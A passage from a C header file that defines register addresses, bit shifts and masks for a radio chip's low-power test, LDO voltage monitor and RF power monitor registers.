#define RADIO_BK9_LP_TST_EN3_CH2_RXRF_TIA_VINP_TEST_EN_LP_TST_SHIFT 2
#define RADIO_BK9_LP_TST_EN3_CH2_RXRF_TIA_VINP_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH2_RXRF_TIA_VINN_TEST_EN_LP_TST_SHIFT 3
#define RADIO_BK9_LP_TST_EN3_CH2_RXRF_TIA_VINN_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH1_RXRF_TIA_VINP_TEST_EN_LP_TST_SHIFT 4
#define RADIO_BK9_LP_TST_EN3_CH1_RXRF_TIA_VINP_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH1_RXRF_TIA_VINN_TEST_EN_LP_TST_SHIFT 5
#define RADIO_BK9_LP_TST_EN3_CH1_RXRF_TIA_VINN_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH0_RXRF_TIA_VINP_TEST_EN_LP_TST_SHIFT 6
#define RADIO_BK9_LP_TST_EN3_CH0_RXRF_TIA_VINP_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_LP_TST_EN3_CH0_RXRF_TIA_VINN_TEST_EN_LP_TST_SHIFT 7
#define RADIO_BK9_LP_TST_EN3_CH0_RXRF_TIA_VINN_TEST_EN_LP_TST_MASK 0x1
#define RADIO_BK9_CH0_RXBB 0x5
#define RADIO_BK9_CH0_RXBB_OUTMUX_SEL_LP_TST_SHIFT 0
#define RADIO_BK9_CH0_RXBB_OUTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH0_RXBB_TSTMUX_SEL_LP_TST_SHIFT 4
#define RADIO_BK9_CH0_RXBB_TSTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH1_RXBB 0x6
#define RADIO_BK9_CH1_RXBB_OUTMUX_SEL_LP_TST_SHIFT 0
#define RADIO_BK9_CH1_RXBB_OUTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH1_RXBB_TSTMUX_SEL_LP_TST_SHIFT 4
#define RADIO_BK9_CH1_RXBB_TSTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH2_RXBB 0x7
#define RADIO_BK9_CH2_RXBB_OUTMUX_SEL_LP_TST_SHIFT 0
#define RADIO_BK9_CH2_RXBB_OUTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH2_RXBB_TSTMUX_SEL_LP_TST_SHIFT 4
#define RADIO_BK9_CH2_RXBB_TSTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH3_RXBB 0x8
#define RADIO_BK9_CH3_RXBB_OUTMUX_SEL_LP_TST_SHIFT 0
#define RADIO_BK9_CH3_RXBB_OUTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_CH3_RXBB_TSTMUX_SEL_LP_TST_SHIFT 4
#define RADIO_BK9_CH3_RXBB_TSTMUX_SEL_LP_TST_MASK 0xf
#define RADIO_BK9_DAC_LP_TST 0x9
#define RADIO_BK9_DAC_LP_TST_ENA_R_SHIFT 0
#define RADIO_BK9_DAC_LP_TST_ENA_R_MASK 0x1
#define RADIO_BK9_DAC_LP_TST_DIV_R_SHIFT 1
#define RADIO_BK9_DAC_LP_TST_DIV_R_MASK 0x3
#define RADIO_BK9_DAC_LP_TST_MUL_R_SHIFT 3
#define RADIO_BK9_DAC_LP_TST_MUL_R_MASK 0x3
#define RADIO_BK9_LP_TST_FREQ_0 0xa
#define RADIO_BK9_LP_TST_FREQ_0_SHIFT 0
#define RADIO_BK9_LP_TST_FREQ_0_MASK 0xff
#define RADIO_BK9_LP_TST_FREQ_1 0xb
#define RADIO_BK9_LP_TST_FREQ_1_SHIFT 0
#define RADIO_BK9_LP_TST_FREQ_1_MASK 0xff
#define RADIO_BK9_LP_TST_FREQ_2 0xc
#define RADIO_BK9_LP_TST_FREQ_2_SHIFT 0
#define RADIO_BK9_LP_TST_FREQ_2_MASK 0xff
#define RADIO_BK9_LP_TST_FREQ_3 0xd
#define RADIO_BK9_LP_TST_FREQ_3_SHIFT 0
#define RADIO_BK9_LP_TST_FREQ_3_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SIZE_0 0xe
#define RADIO_BK9_LP_TST_ATO_SIZE_0_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SIZE_0_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SIZE_1 0xf
#define RADIO_BK9_LP_TST_ATO_SIZE_1_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SIZE_1_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SIZE_2 0x10
#define RADIO_BK9_LP_TST_ATO_SIZE_2_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SIZE_2_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SIZE_3 0x11
#define RADIO_BK9_LP_TST_ATO_SIZE_3_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SIZE_3_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SKP_0 0x12
#define RADIO_BK9_LP_TST_ATO_SKP_0_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SKP_0_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SKP_1 0x13
#define RADIO_BK9_LP_TST_ATO_SKP_1_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SKP_1_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SKP_2 0x14
#define RADIO_BK9_LP_TST_ATO_SKP_2_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SKP_2_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_SKP_3 0x15
#define RADIO_BK9_LP_TST_ATO_SKP_3_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_SKP_3_MASK 0xff
#define RADIO_BK9_LP_TST_ATO_PRD 0x16
#define RADIO_BK9_LP_TST_ATO_PRD_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_PRD_MASK 0xf
#define RADIO_BK9_LP_TST_ATO_EN 0x17
#define RADIO_BK9_LP_TST_ATO_EN_SHIFT 0
#define RADIO_BK9_LP_TST_ATO_EN_MASK 0x1
#define RADIO_BK9_LP_TST_EN 0x18
#define RADIO_BK9_LP_TST_EN_SHIFT 0
#define RADIO_BK9_LP_TST_EN_MASK 0x1
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_0 0x1
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_1 0x2
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_TIME_CNT_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_0 0x3
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_1 0x4
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_2 0x5
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_0 0x6
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_1 0x7
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_2 0x8
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH10150_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_0 0x9
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_1 0xa
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_2 0xb
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_0 0xc
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_1 0xd
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_2 0xe
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1075_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_0 0xf
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_1 0x10
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_2 0x11
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_0 0x12
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_1 0x13
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_2 0x14
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH11150_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_0 0x15
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_1 0x16
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_2 0x17
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_0 0x18
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_1 0x19
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_2 0x1a
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1175_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_0 0x1b
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_1 0x1c
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_2 0x1d
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_0 0x1e
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_1 0x1f
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_2 0x20
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH12150_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_0 0x21
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_1 0x22
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_2 0x23
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_0 0x24
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_1 0x25
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_2 0x26
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1275_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_0 0x27
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_1 0x28
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_2 0x29
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_0 0x2a
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_1 0x2b
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_2 0x2c
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH13150_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_0 0x2d
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_1 0x2e
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_2 0x2f
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_0 0x30
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_1 0x31
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_2 0x32
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH1375_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_0 0x33
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_1 0x34
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_2 0x35
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_0 0x36
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_1 0x37
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_2 0x38
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH25150_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_0 0x39
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_1 0x3a
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_2 0x3b
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_HIGH_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_0 0x3c
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_1 0x3d
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_2 0x3e
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTH2575_LOW_2_MASK 0x3
#define RADIO_BK10_LDO_MONITOR_CTU_SIZE 0x3f
#define RADIO_BK10_LDO_MONITOR_CTU_SIZE_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_CTU_SIZE_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_EN_0 0x40
#define RADIO_BK10_LDO_MONITOR_EN_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_EN_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_EN_1 0x41
#define RADIO_BK10_LDO_MONITOR_EN_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_EN_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_EN_2 0x42
#define RADIO_BK10_LDO_MONITOR_EN_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_EN_2_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_EN_3 0x43
#define RADIO_BK10_LDO_MONITOR_EN_3_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_EN_3_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_EN_4 0x44
#define RADIO_BK10_LDO_MONITOR_EN_4_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_EN_4_MASK 0x7f
#define RADIO_BK10_LDO_MONITOR_VTHSEL 0x45
#define RADIO_BK10_LDO_MONITOR_VTHSEL_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_VTHSEL_MASK 0x1f
#define RADIO_BK10_LDO_MONITOR_RSTN 0x46
#define RADIO_BK10_LDO_MONITOR_RSTN_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_RSTN_MASK 0x1
#define RADIO_BK10_LDO_MONITOR_STATUS_0 0x47
#define RADIO_BK10_LDO_MONITOR_STATUS_0_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_STATUS_0_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_STATUS_1 0x48
#define RADIO_BK10_LDO_MONITOR_STATUS_1_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_STATUS_1_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_STATUS_2 0x49
#define RADIO_BK10_LDO_MONITOR_STATUS_2_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_STATUS_2_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_STATUS_3 0x4a
#define RADIO_BK10_LDO_MONITOR_STATUS_3_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_STATUS_3_MASK 0xff
#define RADIO_BK10_LDO_MONITOR_STATUS_4 0x4b
#define RADIO_BK10_LDO_MONITOR_STATUS_4_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_STATUS_4_MASK 0x7f
#define RADIO_BK10_LDO_MONITOR_TIME_OUT 0x4c
#define RADIO_BK10_LDO_MONITOR_TIME_OUT_SHIFT 0
#define RADIO_BK10_LDO_MONITOR_TIME_OUT_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_0 0x4d
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_0_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_0_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_1 0x4e
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_1_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TIME_CNT_1_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_0 0x4f
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_0_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_0_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_1 0x50
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_1_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_1_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_2 0x51
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_2_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_LOW_2_MASK 0x3
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_0 0x52
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_0_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_0_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_1 0x53
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_1_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_1_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_2 0x54
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_2_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_LOVTH_LOW_2_MASK 0x3
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_0 0x55
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_0_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_0_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_1 0x56
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_1_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_1_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_2 0x57
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_2_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TXVTH_HIGH_2_MASK 0x3
#define RADIO_BK10_RFPOWER_MONITOR_CTU_SIZE 0x58
#define RADIO_BK10_RFPOWER_MONITOR_CTU_SIZE_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_CTU_SIZE_MASK 0xff
#define RADIO_BK10_RFPOWER_MONITOR_EN_0 0x59
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_SPARE_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_SPARE_MASK 0x1f
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX3_EN_SHIFT 5
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX3_EN_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX2_EN_SHIFT 6
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX2_EN_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX1_EN_SHIFT 7
#define RADIO_BK10_RFPOWER_MONITOR_EN_0_TX1_EN_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_EN_1 0x5a
#define RADIO_BK10_RFPOWER_MONITOR_EN_1_TX0_EN_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_EN_1_TX0_EN_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_RSTN 0x5b
#define RADIO_BK10_RFPOWER_MONITOR_RSTN_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_RSTN_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0 0x5c
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_SPARE_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_SPARE_MASK 0x1f
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX3_SHIFT 5
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX3_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX2_SHIFT 6
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX2_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX1_SHIFT 7
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_0_TX1_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_1 0x5d
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_1_TX0_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_STATUS_1_TX0_MASK 0x1
#define RADIO_BK10_RFPOWER_MONITOR_TIME_OUT 0x5e
#define RADIO_BK10_RFPOWER_MONITOR_TIME_OUT_SHIFT 0
#define RADIO_BK10_RFPOWER_MONITOR_TIME_OUT_MASK 0x1
#define RADIO_BK10_LD_CMM_CRTL_0 0x5f
#define RADIO_BK10_LD_CMM_CRTL_0_LD_RSTN_CMM_SHIFT 0
